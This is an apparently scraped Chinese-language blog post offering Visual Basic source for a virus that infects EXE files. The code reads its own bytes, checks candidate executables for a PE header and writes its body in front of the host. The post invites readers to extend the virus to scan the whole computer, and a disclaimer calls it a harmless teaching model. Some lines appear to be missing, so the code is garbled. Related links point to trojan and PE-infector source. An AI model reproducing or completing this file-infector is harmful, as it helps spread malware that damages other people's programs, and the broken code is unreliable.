VB 感染EXE 程式病毒原始碼

2021-08-27 04:39:08 字數 2418 閱讀 2701

使大家清楚認識病毒程式的執行機理,提高自身程式的抵抗力。

說明:1、本**目前僅是實驗模型,給新手講解原理之用,不會失控,絕對安全。

2、本**僅實現了感染exe的功能,其他的功能還須你自己加入。

3、為了目前的安全,本病毒只是在病毒所在的目錄下隨機選乙個檔案感染,你可以利用此功能來除錯;將來你可以修改,讓它不斷的迴圈搜尋計算機上的所有檔案。

4、最重要的:不要搞惡意破壞,否則真進了監獄後果自負!

**:option explicit

private victim as string ''要感染的檔案的名字

private hostlen as long ''要感染的檔案的大小

private vbarray() as byte ''病毒的**

private harray() as byte ''要感染的檔案的**

private lenght as long

private mysize as integer ''病毒的大小

private declare function openprocess lib "kernel32" (byval dwdesiredaccess as long, byval binherithandle as long, byval dwprocessid as long) as long

private declare function getexitcodeprocess lib "kernel32" (byval hprocess as long, lpexitcode as long) as long

private declare function closehandle lib "kernel32" (byval hobject as long) as long

private iresult as long

private hprog as long

private idprog as long

private iexit as long

const still_active as long = &h103

const process_all_access as long = &h1f0fff

private sub form_initialize()

dim i as long

on error goto vbverror ''出錯處理

''原理:將生成病毒檔案的**讀出,粘在要被感染的檔案的後面。

as #1

redim myarray(lof(1) - 1)

mysize = lof(1)

redim vbarray(mysize)

get #1, 1, vbarray

close #1

''這是在讀自己的**

while victim <> ""

redim harray(lof(1))

get #1, 1, harray

close #1

''讀出病毒自身的**

if harray(&h69) <> &h4d then

i = harray(&h3c)

if harray(i) = &h50 then

put #1, , vbarray

put #1, mysize, harray

close #1

end if ''要保證被感染的不是空檔案(不是圈套)

end if

end if

''讀出準備被感染的檔案的**

victim = dir() ''next

wend

''下面的工作是為了保證病毒不會重複感染乙個檔案,也不會自我感染。

lenght = lof(1) - mysize

if lenght <> 0 then

redim vbarray(lenght - 1)

get #1, mysize, vbarray

close #1

put #1, , vbarray

close #1

hprog = openprocess(process_all_access, false, idprog)

getexitcodeprocess hprog, iexit

do while iexit = still_active

doevents

getexitcodeprocess hprog, iexit

loop

else

close #1

end if

endvbverror

''出錯處理,空著就可以了

end sub

相關文

章參考:

☆vbexe

檔案中的聲音檔案

☆vb將配置儲存到

exe本身(生成

exe木馬程式)

EXE呼叫mdb例項VB原始碼

這是江羽 人事管理軟體 中用以啟動rsgl l.mdb的exe應用程式原始碼,現在帖出來與大家共同分享,原始碼如下 定義公用模組 declare function shellexecute lib shell32.dll alias shellexecutea byval hwnd as long,...

整人程式原始碼 VB

程式採用了vb6.0編寫,form1.frm 窗體 如下 version 5.00 begin vb.form form1 caption 你是煞筆嗎?clientheight 3135 clientleft 60 clienttop 405 clientwidth 4680 linktopic f...

loadEXEPE感染詳細VC原始碼注釋

實現將筆記本程式插入到計算器程式並替換掉程式程序名 include stdafx.h include include struct mzheader dos struct pe header struct pe extheader struct sectionheader 只定義了乙個節表達結構是乙...